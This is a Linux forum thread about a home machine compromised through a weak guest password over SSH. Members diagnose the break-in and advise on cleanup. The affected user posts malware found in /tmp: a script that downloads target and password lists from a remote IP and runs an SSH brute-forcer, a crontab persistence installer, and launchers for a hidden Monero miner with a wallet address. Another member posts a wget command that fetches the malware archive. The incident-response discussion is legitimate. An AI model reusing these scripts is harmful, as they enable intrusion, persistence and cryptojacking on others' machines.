# Does this look like Malware?

## LIsLinuxIsSogood

My load average is INSANELY high!  And I never have seen it this high.  Also, I don't run programs as guest.

top -

```
 16:51:15 up  6:02,  4 users,  load average: 11.66, 12.68, 9.64

Tasks: 400 total,   6 running, 393 sleeping,   0 stopped,   1 zombie

%Cpu(s): 92.5 us,  5.6 sy,  0.0 ni,  0.2 id,  0.0 wa,  0.0 hi,  1.7 si,  0.0 st

KiB Mem :  8105116 total,  3375236 free,   253048 used,  4476832 buff/cache

KiB Swap:   524284 total,   524284 free,        0 used.  7728456 avail Mem

 PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND

 8749 guest     20   0   24684   5428   2544 R  51.7  0.1 131:33.27 [sync_supers]  13573 ?        00:00:00 b

```

The first thing that brought it to my attention was hoarding of CPU, which is shown about (even though at 50% it usually is much higher just maybe caught it at a low point). It isn't a memory intensive thing, but whatever is causing it, also does not stop after PID 8749 is killed.   Then what happens is the spawned processes (all labeled b, or something else maybe just one or two letters long) and CPU is now busy again without sync_supers, instead spread throughout the many spawns (each at about 5-10% of CPU).  I have I never had any malware on any linux machine before now (if so).  What is the process to remove that stuff?

FYI - system underwent major overhaul of new package installation in the  last two days -- through an overlay, for Gnome desktop, but I've been in touch with the author and doubt there is any malicious activity stemming from that incident.

ALSO, I feel it is worth mentioning that I recall having to accept a license for some browser looking app, but I don't know why I did.  I will have to check with the overlay source to find out more. I can provide more information about the license I accepted, but not right now.  Please help so that I can get back to leaving my computer on, instead of off.

Thanks,

Jonathan

 me is that the process is not just taking upu 100% CPU, but seems to spawn a ton of others

[Moderator edit: added [code] tags to preserve output layout. -Hu]

----------

## Tony0945

What overlay? What application?

Gnome - is this systemd?

How about a screen shot of 'top' ?

----------

## eccerr0r

Wow.  Yeah looks like your machine got 0wn3d I think.

Reinstall.  I'm not kidding and a bunch of experienced sysadmins would agree.  However you should see what data you can collect from the machine so you won't make the same mistake again.

You can use "pstree" to see what process is actually spawning sync_supers.  The fact that "guest" is trying to disguise a process to look like a system kernel process is what makes me suspicious.  What other processes run as guest?  Could it be an application that listens to the network constantly?  Curious so that we all can learn from this...

Could you post other lines of 'ps' or 'top' and in [ code ] tags so it's column aligned properly?

(As far as I know, dantrell's overlay is safe, I have not heard any complaints about it.  Likely something else.)

----------

## LIsLinuxIsSogood

Would be really nice to know if someone/somewhere had the potential to assess the malwares damage on the system.  But since it is just a test environment and a personal computer (not a work machine).  That is why I'm trying to both recover some of the information, and assess any possible damages done. Is it at all worth looking into the "payload" or system damage from the malware before undergoing a complete reinstall?  In the sense that I would guess based on everything I have on this machine it could take quite a lot of time, probably like 24hrs to compile everything.  In case maybe the malware itself was just borrowing system resources instead and not actually leaving any traces behind.  is that possible?  I guess that would seem to be at odds with the problem happening for a second time after the restarting (last night).  As ecerr0r mentioned, which he probably guessed correctly from checking in my other posts...I recently installed Gnome without systemd, through the use of the overlay from Dantrell B.'s Funtoo for gentoo.  I in no way think that is what caused the problem either.  However one of the updates (requiring me to accept some weird license like Fdkv or another group of 4 letter s variant)

While I agree the best course of action being a thorough and complete reinstall, is that actually going to involve removing or making use of the other documents, music, other media files, and other storage in general on the 2 disks that are potentially involved at this point.  (I assume that this has ABSOLUTELY ZERO chance of having effected my other computer that I used to SSH into the one that is effected. Is that right?) 

Here's what else are my concerns at this time:

1. The amount of time is ok for the installing, but what about returning back to some idealized setup like I had before the virus?  That part of the problem is where this could get kinda crazy, not knowing yet at this point if the files on those hard drives are/should all be considered potentially corrupt or no

2.  I wish I could provide a screenshot, maybe I will start it up again later and do that, but my goal was really to recover some stuff, then we can have fun with diagnosing...maybe

3.   The external hard drive which is a permanent mount in fstab, has about 1 TB worth of backups, and another 1TB of movies, music.  Some documents that I had on there are very old etc. What would be the safest thing, copying those to a USB maybe and then just opening them up off of that in the future?  And not copying them back over....or maybe given the specific situation here I am going a bit overboard about the implied consequences.

Please help.  Would there happen to be some well known resources for assessing the damage done by the malware on my system?

I will do my best to decsribe it (without a screenshot, the rest of the top looked something like a very long list of somewhat nondescript processes that had different PIDs I think but all had the same name, and command, when expanded (each of them was running /usr/bin/httpd).  I would guess about 50 or more of those.  And each with a line that looked very simply stated with hardly anything on it, except for a Process name "b"

----------

## Jaglover

I'd boot from an external media and run diagnostics from there.

----------

## eccerr0r

So you had httpd/apache running?

A cursory investigation seems to imply that misconfigured or old apache are vulnerable, but if you installed recently, this shouldn't be a problem.  Do you know what on your system normally runs as 'guest'?  Fortunately it *may* be enough to clean up anything related to user 'guest' but to be safe, a reinstall is warranted.

I have my apache on my system running as 'apache' so that separates that out, if that was the vector.

When you reboot, does the payload run again right away or does it take time before it restarts?

Security is annoying.   Intrusion detection can be hard.  But nevertheless interesting... (I've been running latest stable apache on my server for many, many years and haven't detected any intrusion yet.  A lot of attempts however, and the old bash bug was one of those "scary moments" that I had to disable my webserver (or at least all my bash scripts) until I found a fix for it.

I think the most common attempt at http hacking I see now in terms of intrusion detection is phpmyadmin and a bunch of wordpress exploits (neither of which do I run, so safe there)...  There are others but it escapes me what they were at the moment.

----------

## LIsLinuxIsSogood

FYI - as far as I know even though I do recall there being a need for this application at some time (httpd), I don't think that there was going to be a service that was dependent on it.

But as I mentioned, the overhaul on my system means there is a good chance that something got changed around, and maybe the config for some application actually auto-started the service.  IDK.  

Either way, I will take the precautions to diagnose, and also considering it is likely to require some reinstalling of certain packages at the very least I will still wait to boot into the system or chroot into there so that hopefully should limit the impact of whatever file might be the vector for that process.  What does make sense though to me is to report back soon.  Once I've gotten to boot up OpenSuse (I think I have it on the same disk already).

Thanks for the suggested help so far.

----------

## Hu

Examining the infection could be an interesting intellectual exercise, but I wouldn't hope that you can learn enough from it to reliably determine the extent of the damage it can cause.  You can never be sure that you aren't just seeing the remnants of a much larger package, the bulk of which did its work and then self-deleted to complicate your diagnostics.

As regards what you can and cannot trust, that depends in part on your level of caution.  The most cautious approach is to assume that anything that any user (root, your login, any other authorized logins, any service logins, etc.) on that system could access has been accessed and, per Murphy's law, handled in the most damaging way possible.  That means you cannot trust the contents of any files, including backups and executables, if that system had the ability to modify them, whether they were stored on its internal drive, an external physically connected drive, an NFS mount that the system could mount read-write, etc.  You can retain any suspect files if you have a way to validate them.  For example, you can copy off /etc/portage/make.conf if you review it, by hand, on a known clean system, for any suspicious modifications.  Practically, you can't salvage any compiled programs because the only efficient way to validate them is to compare them against a known clean copy, and if you have a clean copy, you could just use it directly instead of using it as a reference to validate the suspicious program.  Technically, you could salvage compiled programs by hand auditing them, but the amount of effort required is prohibitive.

Since we don't know the purpose of this malware, you must also consider that it had a data exfiltration component.  Determine all the files it could access and assume that it uploaded those to an unknown malicious server.  Perform according damage control: revoke keys, change passwords, get new fingerprints (if scans were on file), new National Identification Number (if your country considers those secret), etc.

----------

## eccerr0r

One thing I'm not sure about is that it seems that Gnome has apache as a dependency.  I admit I have not done due diligence on figuring out why (some kind of file sharing it seems?), but there's a possibility this is a vector for infection.  However one thing is that it doesn't get started automatically for me on any of my systems (all my Gnome machines are systemd machines too), hence I never looked at it.  None of my Gnome boxes are outward facing on my network, so it may be another difference.

----------

## LIsLinuxIsSogood

It will turn up most likely (the cause), but I don't get ecerr0r why this would be considered any more outward facing than some other typical setup.  Is it because I have opened just 2 ports on my firewalled router, that forward to port 22 on my home machine?  I thought the idea was that it was fairly safe and secure to do that.  Also, in another sense of the definition every machine that connects to the internet has to be outward facing to the extent that it sends stuff to the router, which then has to go somewhere next, doesn't it?

Anyways, putting my access into the machine aside, because at least for now by my own best estimate there does still seem to be much more likelihood that traffic coming in from internet would have to have targetted an already running process so that means that whether it was Gnome or something else that started a http daemon that was possibly responsive to it.  I don't know really I'm just talking our of my you know ***.

So again, my computer is firewalled from the internet just like any other machine is as it only accepts traffic on the local network from outside on the permissible ports of entry, and further then the router will only do its job of routing to an already running service on my desktop.

Whatever it is just blows my mind that Gnome would work this way.  Since about this time last year when I abandoned KDE, I had gone DE-less.  So for it to happen on day 1 or 2 of going back to a DE really says something terrible about the way these desktop environments are heading. Awful!

Ultimately regardless of the protection that exists with my local firewall (my router), I would suppose that in fact unless I see an issue going on (like the CPU resources I noticed initially and all those running processes) that it is highly unlikely actually that it is anything harmful.  But I will go about this just in case:

Thanks jaglover:

 *Quote:*   

> I'd boot from an external media and run diagnostics from there.

 

I like this idea because it doesn't assume anything has happened yet, which is also very possible:

And more rationally, since everyone's computer is just constantly available to attacks of any kind, and it is a sort of amazing grace that all of our computers are not just constantly shutting down due to cyber attacks, I will take that luck to mean it might be OK to retain and reuse some of the system.  But I will certainly start by removing the guest account, only after I have a chance to check the logs and see what maybe caused the guest process to start in the first place

Thanks for the suggestions.  With respect to Binary packages and the time it takes to be rebuilding the system (versus comparing those files) I think it may be possible since I can just use the binaries on my laptop, which is also Gentoo, to check if the programs on the OS that is infected are consistent.

For the diagnostics, does this seem like a fairly good list of things to start doing:

1) FS check and Hard Disk (scan)

2) then, verifying or reinstalling the Software binaries(comparing among my two PC's)

3) also reviewing the compromised acount (guest)

4) And maybe if need be reinstalling sections or ALL of the system, and 

5) HOPEFULLY NOT, deleting all my files and starting over...I see this as being very very unreasonable as a solution at least, before I delete them, I will just upload them all to the cloud, and worry later about it (and who else may get these "infected" system aspects)

----------

## dantrell

 *LIsLinuxIsSogood wrote:*   

> My load average is INSANELY high!  And I never have seen it this high.  Also, I don't run programs as guest.

 

You didn't really give us enough information to work off of (e.g. while you were online the output of htop, iotop, nethogs and pstree would have been useful but I wouldn't suggest you go online anymore).

However, from what you did share (i.e. the name of the process and the CPU usage) this looks like a bitcoin miner. Your data probably wasn't siphoned as Hu said but you should assume it was regardless.

The question is how it got on your machine.

 *eccerr0r wrote:*   

> So you had httpd/apache running?

 

 *LIsLinuxIsSogood wrote:*   

> Whatever it is just blows my mind that Gnome would work this way.

 

GNOME User Sharing does pull in Apache but it doesn't automatically run the service, also, it is not outdated.

If you manually ran the service, and if you had something like a WordPress site running, and if the website was internet accessible, it could have easily been that. Same applies to the SSH service allowing password logins.

 *eccerr0r wrote:*   

> (As far as I know, dantrell's overlay is safe, I have not heard any complaints about it.  Likely something else.)

 

Ebuilds in the overlays are essentially the same as they are (or were) in the main tree.

With respect to Apache, GNOME with systemd as provided by Gentoo would have pulled it in too.

 *LIsLinuxIsSogood wrote:*   

> So again, my computer is firewalled from the internet just like any other machine is as it only accepts traffic on the local network from outside on the permissible ports of entry, and further then the router will only do its job of routing to an already running service on my desktop.

 

In general, exposed services and user choices are the biggest vectors for security breaches. In GNOME, what you need to watch out for is WebKitGTK+ (which, for the record, is up-to-date in both the main tree and the overlays).

If you are sure it wasn't from the outside in then it was the other way around which would have been as simple as using Flash on a site that shouldn't have been trusted.

 *eccerr0r wrote:*   

> Reinstall.

 

I concur, reinstall and restore your files from a backup that was not accessible by the system.

----------

## LIsLinuxIsSogood

Pretty scarry with respect to Apache and GNOME but i will have to check too about when ot was installed possibly a while ago when i was using some net-analyzer tool that may also have required apache.  I cant recall at the moment but that means this could have been something that started a long time ago also perhaps.

----------

## NeddySeagoon

LIsLinuxIsSogood,

Opening port 22 is inviting brute force attacks on ssh.  Such attacks can lead to the genuine [sync_supers] using noticeable amounts CPU time.

However, its not run by user guest, so that's a bad sign.

Firewalls serve two purposes. They stop things getting in, but that's better achieved by not running things that listen on ports you don't want to use.

They stop things phoning home after they do get in.  Most users don't set this up as its intrusive, so they end up with a firewall that allows everything out.

Is the guest user allowed to ssh in?

Does the guest user need a password?

If the guest users password is guest (or any dictionary word) and ssh is allowed, you probably have a script kiddie, possibly trying to brute force your root password. Your ssh logs would be useful here. 

What does 

```
lastlog
```

show?

As to what this guest has already achieved ... who knows?

Maybe you are spamming the rest of the internet?

Bitcoin mining ....

Its an interesting exercise to try to work it out but you will never be sure enough to trust the install.

I would like to think that guest cannot write to disk, you may find some guest owned files in /tmp.

If your guest is trying to cover his tracks a little, they will have been deleted as soon as they were opened, so they won't appear in ls.

If your guest already has root, you will have a rootkit ... 

That's taking your 

```
 PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND

 8749 guest     20   0   24684   5428   2544 R  51.7  0.1 131:33.27 [sync_supers]  13573 ? 
```

 at face value.

----------

## LIsLinuxIsSogood

 *Quote:*   

> Does the guest user need a password? 

 

My guest account may have been created a long time ago, but I'm not sure.  Is there a way of finding out when/how it was done?

 *Quote:*   

> Is the guest user allowed to ssh in?

 

Neddy, I assume this is actually more to do with the service that is running on the server than which actual port is open on the router, or putting it another way they fact that any port is open at all (for the SSH service on the desktop).  That is of course a contributing factor, see below for the SSH messages in log.  Definitely looking like the brute force thing that was mentioend.  I really hope that it there is no lasting damage from it.  I would assume no write privileges to the disk for guest, but I'm not sure, because of certain areas of the filesystem, like /tmp and maybe a few more in those mounted diretories in /etc/fstab that allow for other hard disk access to the OS.

I am hoping if this attack is possibly (probably even) as harmless as just having accessed the guest account and possibly done some spam on the web, or that kind of thing that these logs will help to tell what is the impact, so that I can (once I reinstall, which I plan to do) recover some more recent files maybe as well.  We'll have to wait and see.  For now, what happens if I just upload all those files to the cloud?  Do cloud services in general like dropbox, or google drive not worry about keeping infected files on their servers?  That seems weird like that should be an issue but it is not!

 *Quote:*   

> Opening port 22 is inviting brute force attacks on ssh. 

 

There's many messages in fact so I'm attaching the auth logs (for those that are curious and helpful to act).  It appears from the log that it only took a few minutes to hack my system...have a look for yourselves.

auth.log  https://paste.pound-python.org/show/5FWLvlaU6IaDcVN15sVx/

auth.log.0 https://paste.pound-python.org/show/1ZnVZ0cvd53CGbQjYGW0/

The first attempt from rhost

[Nov 7 13:46:49] - rhost=122.136.45.138 targeting user "oracle" (invalid user)

Less that two minutes later the same rhost is now logged in as guest on my system which is Crazy.  

Then after some 'downtime of the remote host' or 'uptime of my own' (whatever?!?), continued attempts to begin accessing more system resources by going the route of trying to authenticate as different users.  This time coming from a different IP.

Nov  6 18:02:37 playby sshd[8588]: Accepted keyboard-interactive/pam for guest from 185.45.193.43 port 53692 ssh2

Nov  6 18:02:37 playby sshd[8588]: pam_unix(sshd:session): session opened for user guest by (uid=0)

Nov  6 18:02:45 playby sshd[8588]: pam_unix(sshd:session): session closed for user guest

Then a later attempt that fails, which makes me think it is brute force, because it should not be so stupid.  Or else it is possible that separately I was either attacked or hacked by multiple parties, IDK.

Nov  7 11:33:17 playby sshd[16680]: Did not receive identification string from 146.0.78.62 port 53880

Nov  7 11:33:24 playby sshd[16682]: Bad protocol version identification '\003' from 146.0.78.62 port 41257

Nov  7 11:33:35 playby sshd[16684]: Bad protocol version identification '\003' from 146.0.78.62 port 57611

 *Quote:*   

> 
> 
> Nov  8 11:28:52 playby sshd[4654]: Server listening on 0.0.0.0 port 22.   <---Showing some time about 24hr later that SSH is online
> 
> 

 

Just showing that I'm online on the Nov 8 which is expected as the machine is always listening on port 22, so that I can get to my files in general. 

About an hour later, BOOM

Nov  8 12:58:33 playby sshd[9546]: Accepted password for guest from 155.133.82.12 port 59724 ssh2

Nov  8 13:02:01 playby sshd[9635]: Accepted password for guest from 155.133.82.12 port 60292 ssh2

and it gets worse!  A few minutes later is the 1st attempt to access Root

Nov  8 13:04:25 playby sudo: pam_unix(sudo:auth): authentication failure; logname= uid=1002 euid=0 tty= ruser=guest rhost=  user=root

Nov  8 13:04:27 playby sudo: pam_unix(sudo:auth): conversation failed

Nov  8 13:04:27 playby sudo: pam_unix(sudo:auth): auth could not identify password for [root]

And for about 5 seconds it tries a few tricks in order to mess with my /etc/passwd file.  It fails, and gives up quickly.

But it's not over yet...1 hour later, the original IP attacker is back on strong with the similar attacking pattern, but this time he is equipped with a publickey for the session. And worse, he is going to try and copy that into the sessionkey for root.  Which also fails...see here:

 *Quote:*   

> Nov  8 14:32:40 playby sshd[10668]: Accepted publickey for guest from 155.133.82.12 port 49224 ssh2: RSA SHA256:FlVIVu73IJn/DuQ/a4HXgSW6NADyQKZFb2rd6bzPQ08
> 
> ...
> 
> Nov  8 14:32:42 playby sshd[10686]: Authentication refused: bad ownership or modes for file /root/.ssh/authorized_keys
> ...

 

At Nov 9 5:47:59 another IP address shows up, and has accepted connection. This is bad. I know, but how bad who's to say.  I understand that reinstalling is a safe bet.  But if the analogy of the computer could be made to something like a bicycle, that if someone comes along and steals a part off your bike, it is going to matter what they stole in terms of figuring out whether or not to replace the missing piece.  If it's a wheel or the handlebar it seems just to be replaced, as would the gears or the chain, unless you like to just pedal in place!  But if they stole just a decal, or a carrying basket, or the seat cushion even, it might not make sense to go buying a new bicycle at that point.  OK, so it isn't a perfect analogy, but what I'm getting at here is in terms of recovering my files...I can copy them over to USB or the cloud, and then go through a reinstall no problem.  But then what happens next when I want to access some of those newer files is the dilemma (should I or shouldn't I risk that?)   From the looks here the access to guest account could not go further.

Here's when I shutdown my machine just for a reference

Nov  9 16:54:22 playby shutdown[2131]: shutting down for system halt

Maybe under the further advice I could log back into the system and do some more investigating now?  

How would I run diagnositcs (lastlog) on a slave mounted o/s?

What other log files can I include for completeness of information in my post? Syslog? Xlog? Kernel?[/code]

----------

## eccerr0r

Well, it looks like we know what the entrance point is: bad password on guest account or somehow the intruder was able to change the password.  If you're not aware of it, people are constantly scanning the whole ipv4 address space for machines to exploit.  I get hundreds of ssh scans every day, some days it gets into the thousands.  And this is my home machine!  So far this month (nov1 to nov10 so far today) I've gotten 2000 failed ssh attempts, and it would be higher without some countermeasures I set up.

So other observations with your box: the intruder added a ssh key so they can always get in, in case you change the password to the account.

The intruder is intent on trying to get root privileges via sudo/su, and the logs are showing unsuccessful.  However there's no guarantee they did not get root because there have been silent exploits out there for miscellaneous bugs and you'd never know if they got root.

-

The guest account sometimes comes with the system but the password to the account should be scrambled or disabled.  That is, unless you changed the password.  For instance, on my PVR guest account's password I explicitly changed to "guest" so that someone can login to console via guest/guest and has full access to the account as it's a normal account - which is very bad in terms of security because the guest account can now be logged in remotely.  It's somewhat mitigated by not being accessible remotely, however, I did disable this account in sshd just in case.  Regardless it's a security hole if people don't understand the implications of an easily guessable password beyond just sshd.

All my other machines, I still have a guest account but the account is disabled.  Pam will then disallow its use.  Sometimes it's best to outright remove the guest account if you aren't sure if all your applications are going through pam.

-

I would suspect some services like dropbox or google drive would scan files for viruses that would be world accessible after upload.  Not sure if the files will not be world accessible.  And I doubt they'd do anything it's a unix, system-specific (versus generic) exploit.

----------

## NeddySeagoon

LIsLinuxIsSogood,

Lots of signs that your guest login was brute forced but no signs that the attacker got past that.

Next step, move ssh off of port 22.  Its security by obscurity (no securitty at all) but will stop most of the random script kiddies.

Some will still port scan you but your logs will be easier to read.

Al the same time, only allow IP ranges you need to connect from to use ssh. 

Change to key based login only too.  sshd will still go through the password motions but it wall always fail. 

I think you can deny guest the use of ssh, but I don't know how.

All of the above is only to get you breathing space for further forensics.

It appears that you have a /home/guest/ dir.  If so, its .bash_history will be very educational.

I would expect an attacker to delete that but you never know. 

If you don't mind the attacker knowing that they have been discovered, edit /etc/shadow and change the guest password hash to *

It will read 

```
guest:*:<whatever>
```

that will stop all password logins to guest.

Rename guests .ssh/authorized_keys so that they don't work too.

As there was a successful key based login, the attacker was able to upload a key to  authorized_keys.

----------

## eccerr0r

I just added this line to my /etc/ssh/sshd_config on my PVR box :

```
DenyUsers guest
```

This does NOT solve all your guest account problems, just that the infiltrator cannot use guest with sshd anymore.

Also you don't know how long ago they broke into your box.  Looks like you've been playing with guest two months ago, but that doesn't matter.

BTW that hacker is sloppy.  They should have figured out sudo was not going to give them access and stop leaking what they're trying to do your box...

----------

## LIsLinuxIsSogood

Hey ecerr0r are you suggesting that the hacker wasn't you?  That would be a relief by the way. Jk

The guest account I recall was something that was done as part of the video and audio setup for using a certain set of media applications, like Kodi or VLC, or some other stuff.  I will be more cautious with it in the future now that I understand how an attack targets the user accounts already on the system and make sure to secure them, or the services running.  And as far as web service, I can recall (and verified below) that it was pulled in during my last upgrade/install for media-tv:kodi-17.3-r1.

Sep 28 04:20 net-libs:libmicrohttpd-0.9.52:20170928-042016.log

INFO: setup

Package:    net-libs/libmicrohttpd-0.9.52

Repository: gentoo

Maintainer: blueness@gentoo.org

USE:        abi_x86_64 amd64 elibc_glibc kernel_linux messages ssl userland_GNU

FEATURES:   preserve-libs sandbox userpriv usersandbox

INFO: install

Final size of build directory: 8080 KiB

Final size of installed tree: 712 KiB

Sep 28 04:58 media-tv:kodi-17.3-r1:20170928-045826.log

INFO: setup

Package:    media-tv/kodi-17.3-r1

Repository: gentoo

Maintainer: candrews@gentoo.org

Upstream:   https://trac.kodi.tv/

USE:        X abi_x86_64 alsa amd64 css dbus dvd elibc_glibc kernel_linux nfs opengl pulseaudio python_targets_python2_7 sftp system-ffmpeg udev userland_GNU vaapi webserver xslt zeroconf

----------

## LIsLinuxIsSogood

BTW, the key was/is still there!  uid 1002 is my guest account.  I checked the rest of the directory for files, and it doesn't seem like much was modified other than that.  But I have to continue looking - at least we can agree it was not some very high tech operation that deleted its tracks, and therefore unlikely that it also inflicted other 'unknown' damage but I will be cautious in taking it slow.

root@sysresccd /mnt/custom/home/guest/.ssh % ls -l

total 4

-rw-r--r-- 1 1002 1002 397 Nov  8 21:00 authorized_keys

The key itself, seems to be signed by a particular user@host at the bottom.  Maybe I can "FUKC with him and reverse the attack on him, too much work and not worth the effort right.  Thank you all for the direction on where to go.  The SSH security is going to be a top priority.  For now, I've just turned off the service altogether on my laptop machine and desktop.

Thanks agian.

----------

## eccerr0r

You can't do much with a public key except match with other exploited boxes to see if they were exploited by the same person/private key.

As I have a crappy internet connection, it pains me that I take great risk of DDoS if I try to revenge against hackers that I discover, therefore I've been repressed.  I've always wanted to setup a honey pot that has bash pointing to something like

#!/usr/bin/perl

print "$ ";

while(<>) {

print "$ ";

}

and see how long it takes before they figure out they have a dummy shell...

----------

## LIsLinuxIsSogood

Update:

Well I found the payload and it looks to have been around since Oct 11, see below...as Neddy suggested it was in the /tmp folders.  I located all files and removed ones uid 1002 owner to.  But I don't think it is enough.  I'll probably just do a quick archive of the system using tar so I can recover some documents and stuff if I ahve to later.  

In order to do the reinstall, would the recommended action be to format or since the partitions exist on the disk alreadyI could just start by creating new filesystems over the existing ones?

Thanks

```
root@sysresccd /mnt/custom % find -uid 1002

./tmp/b23z.tar

./tmp/a

./tmp/.b23z

./tmp/.b23z/b

./tmp/.b23z/p

./tmp/.b23z/i

./tmp/.b23z/.a

./tmp/.b23z/x

./tmp/.b23z/s

./tmp/.b23z/d.php

./tmp/mine68b.tar.gz

```

Also,

```
root@sysresccd /mnt/custom/tmp % ls -l

total 2756

-rw-r--r-- 1 1002 1002    5344 Nov 10 00:48 a

-rw-r--r-- 1 1002 1002  952320 Oct 11 12:39 b23z.tar      <<<<<<<<<<<<< primary payload (earlier date)

drwxr-xr-x 2 root root    4096 Nov 10 00:50 cron.lkssGU

drwxrwxrwx 2 1001 1001    4096 Nov 10 00:00 dumps

-rw-r--r-- 1 1001 1001     913 Nov  9 20:28 gameoverlayui.log

-rw-r--r-- 1 1001 1001     934 Nov  9 20:09 gameoverlayui.log.last

-rw-r--r-- 1 1002 1002 1834919 Nov 10 00:48 mine68b.tar.gz           <<<<<<<<<<<<<<< this is a rootkit I though think

drwx------ 2 1001 1001    4096 Nov  9 19:11 pulse-2L9K88eMlGn7

drwx------ 2 root root    4096 Nov  9 18:48 pulse-PKdhtXMmr18n

srwxr-xr-x 1 1001 1001       0 Nov  9 19:21 steam_chrome_shmem_uid1001_spid8004

srwxr-xr-x 1 root root       0 Nov  9 18:48 wpa_ctrl_5586-1

```

So I've already removed the guest account from /etc/passwd, and deleted the folder for guest, I'm now going to remove all files that guest had access to, which probably means a reinstall.Last edited by LIsLinuxIsSogood on Sat Nov 11, 2017 9:48 am; edited 2 times in total

----------

## NeddySeagoon

LIsLinuxIsSogood,

What about /home/guest/.bash_history ?

If its still there, it will show the last 300 commands executed by the guest user. 

Use your root account to put it onto a pastebin.  Do not allow guest to be used.

Also, deleting that file is the first step in covering tracks.

Googling mine68b.tar.gz says that its probably a virus.

I guess that whatever was running as guest came out of that.

Google can't find mine68b for me to download.

----------

## LIsLinuxIsSogood

Here's more of what the payload looked like:

https://paste.pound-python.org/show/7oX3PQ1xPhEzORSCps5C/

The rest of the files in the subfolder are:

```
root@sysresccd /mnt/custom/tmp/.b23z % ls -al

total 1904

drwxr-xr-x  2 root root   4096 Jul 28 13:21 .

drwxrwxrwt 10 root root   4096 Nov 10 00:54 ..

-rw-r--r--  1 1002 1002      0 Nov 10 00:31 .a

-rwxrwxrwx  1 root root 945732 Oct 31  2016 b

-rw-r--r--  1 1002 1002   1802 Nov 10 00:31 d.php

-rw-r--r--  1 1002 1002 976441 Nov 10 00:32 i

-rw-r--r--  1 1002 1002     14 Nov 10 00:31 p

-rwxr-xr-x  1 root root    525 Sep 26 12:26 s

-rwxr-xr-x  1 1002 1002     24 Nov 10 00:31 x

```

```
root@sysresccd /mnt/custom/tmp/.b23z % cat x

nohup ./s >>/dev/null &
```

```
root@sysresccd /mnt/custom/tmp/.b23z % cat p

tomcat qwerty

```

NOTE: cat i (just a list of a ton of IP addresses), and cat d looks like a list of codes (a five character sequence with first three being 22X followed by two more lower alphabetical, 22Xjw e.g.)

I can't tell what program b does, which is owned by root.

```
And here's one of the scripts in the folder:

#!/bin/bash

pass=http://195.22.126.221/feedp.php

ftp=ftp://anonymous:@195.22.126.221/

wget -q $pass

mv feedp.php p

Threads=350

rm -rf d.php

if [[ `uname` == 'Linux' ]]

then

wget -q http://195.22.126.221/d.php

while IFS='' read -r line || [[ -n "$line" ]]; do

   rm -rf wget*

   rm -rf i

   rm -rf v

   rm -rf y

   rm -rf ~/.ssh/known_hosts

   rm -rf n

   rm -rf session.txt

   rm -rf interface.txt

    wget -q $ftp/$line

    mv "$line" i

   port=$(echo $line |cut -d 'X' -f 1)

    ./b 250 $port 10 th 0

done < "d.php"

else

echo die...

fi

```

----------

## LIsLinuxIsSogood

 *Quote:*   

> What about /home/guest/.bash_history ? 

 

It WAS there, but after checking it out I found it to be harmless in the sense that it was short, and I did not have an issue with commands there (since I basically do recall running many of them myself).  I have since deleted it, so I can't include it at this point :><

But like I said there was really nothing there.  So I guess that's a good sign right!  Unless like you said the tracks were covered.  But I don't know about the answer to that.  It does seem unlikely at this point that any real harm was done, is what I think.

----------

## LIsLinuxIsSogood

Also here's some payload from the rootkit, which I think was never executed as far as I can tell!

Besides these shown here, there are many files that are mostly just loads of information can't tell what's in them

```

pwd > dir.dir

dir=$(cat dir.dir)

echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d

crontab cron.d

crontab -l | grep upd

echo "#!/bin/sh

if test -r $dir/bash.pid; then

pid=\$(cat $dir/bash.pid)

if \$(kill -CHLD \$pid >/dev/null 2>&1)

then

sleep 1

else

cd $dir

./run &>/dev/null

exit 0

fi

fi" >upd

chmod u+x upd

./run &>/dev/null

```

```

#!/bin/bash

proc=`nproc`

ARCH=`uname -m`

HIDE="-bash"

if [ "$ARCH" == "i686" ];       then

        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 45GCe3MjJq9SgJLQrgsvs2fgpX9Tu6B1mZrUnusaPLcSGveHeBHZZhqY9JciEKqYVyACZamLejJDaeydLksTG1iSFgMB68b -p x >>/dev/null &

elif [ "$ARCH" == "x86_64" ];   then

        ./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 45GCe3MjJq9SgJLQrgsvs2fgpX9Tu6B1mZrUnusaPLcSGveHeBHZZhqY9JciEKqYVyACZamLejJDaeydLksTG1iSFgMB68b -p x >>/dev/null &

fi

echo $! > bash.pid

```

```

#!/bin/bash

proc=`nproc`

ARCH=`uname -m`

HIDE="-bash"

if [ "$ARCH" == "x86_64" ];   then

        ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 45GCe3MjJq9SgJLQrgsvs2fgpX9Tu6B1mZrUnusaPLcSGveHeBHZZhqY9JciEKqYVyACZamLejJDaeydLksTG1iSFgMB68b -p x >>/dev/null &

fi

echo $! > bash.pid

```

THE STRANGENESS OF THIS WHOLE THING IS THE DATES THAT THE PAYLOAD SHOW UP, ONE FILE OWNED BY GUEST IN OCTOBER AND THEN ALMOST A MONTH LATER THE ROOT OWNED FILE SHOWS UP, BOTH ARE ZIPPED ARCHIVES, AND I AM JUST HOPING THAT THE ROOTKIT NEVER GOT TO RUN (THANKFUL IF THAT IS THE CASE). 

NEDDY, what other signs can I be looking for in terms of locating the effect of any damage? From the rootkit or otherwise!

----------

## LIsLinuxIsSogood

 *Quote:*   

> I guess that whatever was running as guest came out of that. 

 

So in terms of the payload, there were actually 2 files, and it looks like only 1 of the 2 had been extracted on the system.  That is until I went ahead and extracted the other (to see what it contained).  I did this on another system so there was no chance that anything besides my live environment would stand to be effected.

I think the b23 virus was all that happened at this point.  The mine68 one didn't.

The post I did about 1 hour ago I just updated so you can see more clearly which two files it is (by noting them next to it)

----------

## NeddySeagoon

LIsLinuxIsSogood,

Using your link, I did 

```
wget --no-check-certificate ftp://37.139.5.191/mine68b.tar.gz
```

and moved the file somewhere harmless.

tar says it contains

```
~/downloads/evil_crack_attack $ tar --list -f mine68b.tar.gz

.z/

.z/h64

.z/1

.z/mdx

.z/h32

.z/md32

.z/x

.z/run

.z/z

.z/md

.z/a
```

Notice the hidden directory.  Untaring to look is safe

```
~/downloads/evil_crack_attack/.z $ ls -al

total 4168

drwxr-xr-x 2 roy roy    4096 Nov  5 21:25 .

drwxr-xr-x 3 roy roy    4096 Nov 11 09:20 ..

-rwxr-xr-x 1 roy roy     319 Nov  5 22:06 1

